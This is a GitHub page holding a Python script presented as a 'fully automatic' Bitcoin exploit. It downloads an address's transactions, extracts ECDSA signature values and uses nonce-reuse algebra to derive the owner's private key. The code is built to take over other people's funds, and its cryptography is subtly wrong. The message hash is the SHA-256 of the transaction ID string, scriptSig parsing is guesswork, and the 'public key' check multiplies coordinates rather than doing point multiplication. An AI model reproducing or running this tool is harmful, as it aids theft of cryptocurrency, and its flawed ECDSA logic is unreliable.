-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTurtle-Exploit.py
100 lines (86 loc) · 3.73 KB
/
Turtle-Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import hashlib
import requests
# Elliptic Curve Parameters (secp256k1 - Bitcoin Standard)
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F # Prime field
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 # Order of the group
Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240 # Generator x
Gy = 32670510020758816978083085130507043184471273380659243275938904335757337424483 # Generator y
def modular_inverse(a, n):
"""Compute the modular inverse of a modulo n."""
return pow(a, -1, n)
def get_transactions(address):
"""
Fetch transaction details for a given Bitcoin address.
This uses a public blockchain explorer API (Blockcypher).
"""
print(f"Fetching transactions for address: {address}")
url = f"https://api.blockcypher.com/v1/btc/main/addrs/{address}/full"
response = requests.get(url)
if response.status_code == 200:
return response.json()["txs"]
else:
raise ValueError(f"Error fetching transactions: {response.status_code} {response.text}")
def extract_signatures(transactions):
"""
Extract (r, s, z) values from transactions.
"""
signatures = []
for tx in transactions:
# Check if the transaction has inputs with signatures
for inp in tx.get("inputs", []):
script = inp.get("script", "")
if script:
# Extract r, s, z values from scriptSig (example parsing)
try:
r, s = extract_r_s_from_script(script)
z = int(hashlib.sha256(tx["hash"].encode()).hexdigest(), 16) # Hash of transaction as z
signatures.append((r, s, z))
except Exception as e:
print(f"Error extracting signature from script: {e}")
return signatures
def extract_r_s_from_script(script):
"""
Parse the scriptSig to extract r and s values.
"""
# Example parsing logic (to be adjusted for specific script format)
parts = script.split(" ")
r = int(parts[1], 16) # Assuming 2nd part is r
s = int(parts[2], 16) # Assuming 3rd part is s
return r, s
def exploit_r_s_z(signatures):
"""
Exploit the R/S/Z vulnerability to derive the private key.
"""
for i in range(len(signatures)):
for j in range(i + 1, len(signatures)):
r1, s1, z1 = signatures[i]
r2, s2, z2 = signatures[j]
if r1 == r2: # Check if 'r' is reused
print(f"Reused r detected: {r1}")
# Step 1: Calculate nonce k
k = ((z1 - z2) * modular_inverse(s1 - s2, n)) % n
print(f"Derived Nonce (k): {k}")
# Step 2: Calculate private key x
x = ((s1 * k - z1) * modular_inverse(r1, n)) % n
print(f"Derived Private Key (x): {x}")
# Step 3: Verify private key
P_x = (Gx * x) % p
P_y = (Gy * x) % p
print(f"Regenerated Public Key (P = xG): ({P_x}, {P_y})")
return x
raise ValueError("No reused r values found in the provided signatures.")
# Main function
if __name__ == "__main__":
print("=== Fully Automatic Bitcoin R/S/Z Exploit ===")
address = input("Enter the Bitcoin address: ")
try:
# Step 1: Fetch transactions
transactions = get_transactions(address)
# Step 2: Extract signatures (r, s, z) from transactions
signatures = extract_signatures(transactions)
print(f"Extracted Signatures: {signatures}")
# Step 3: Exploit R/S/Z vulnerability
private_key = exploit_r_s_z(signatures)
print(f"\nFinal Derived Private Key: {private_key}")
except Exception as e:
print(f"Error: {e}")